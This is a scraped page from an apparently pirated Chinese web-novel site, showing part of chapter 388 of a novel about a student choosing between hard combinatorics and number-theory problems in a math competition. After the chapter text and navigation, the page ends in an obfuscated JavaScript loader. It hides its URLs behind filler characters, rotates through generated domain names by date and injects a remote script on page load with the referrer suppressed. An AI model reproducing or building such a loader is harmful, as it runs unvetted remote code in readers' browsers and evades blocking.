返回

第388章 抉择,抉择? 我只想保送,怎么成了电竞大魔王

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

读题时间只有五分钟,大家迅速调整好状态,比较起这四道题目。

每个人擅长的方向不同,选择往往比解题更重要。

一旦把时间耗在错误的题目上,剩余时间不可能再写下一题。

恰好这四道题覆盖四个板块,每个人都有充足的选择空间。

秦云最擅长组合数学,因此没怎么犹豫,便看向了最后一题。

题面采用了竞赛中常见的染色模型。

若干个点按照特定规则排列,每个点被染成红色或蓝色。

一次操作可以同时改变一组满足条件的点,题目要求证明某种状态必然能够到达,并确定最少操作次数的上界。

乍看之下,这是典型的染色与不变量问题,秦云练过无数遍。

正常情况下,开始检查奇偶性,寻找操作前后保持不变的量,尝试构造达到目标状态的路径。

可将题目读了一遍后,居然发现没有任何清晰的切入点。

操作涉及的点会随着当前位置变化,局部染色又会影响下一次可选范围。

常见的奇偶不变量起不到什么作用,简单计数更是无法控制操作过程。

明明是自己最擅长和熟悉的体型,却让秦云心底生出一股强烈的陌生感。

几秒后,他不得不做出了选择。

这道题碰不得,根本碰不得。

至少在一小时的时间里,他无法拿到85%的分数。

于是,他果断将视线移到了第三题。

数论题的题面更短,总共只有三行。

题目给定一类递推数列,要求判断某个整除关系成立的全部正整数,并证明结论。

递推式的形式较为简洁,里面却同时出现了指数、模素数幂以及周期条件。

这类题目最麻烦的地方是,结论容易通过小范围试算猜出来,完整证明却要跨过好几层障碍。

秦云尝试过代入几个小数,还有费马小定理,全都没用。

看到这,他下意识倒吸了一口


本章未完,点下一页继续阅读。>>>

上一章 回目录 下一页
let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();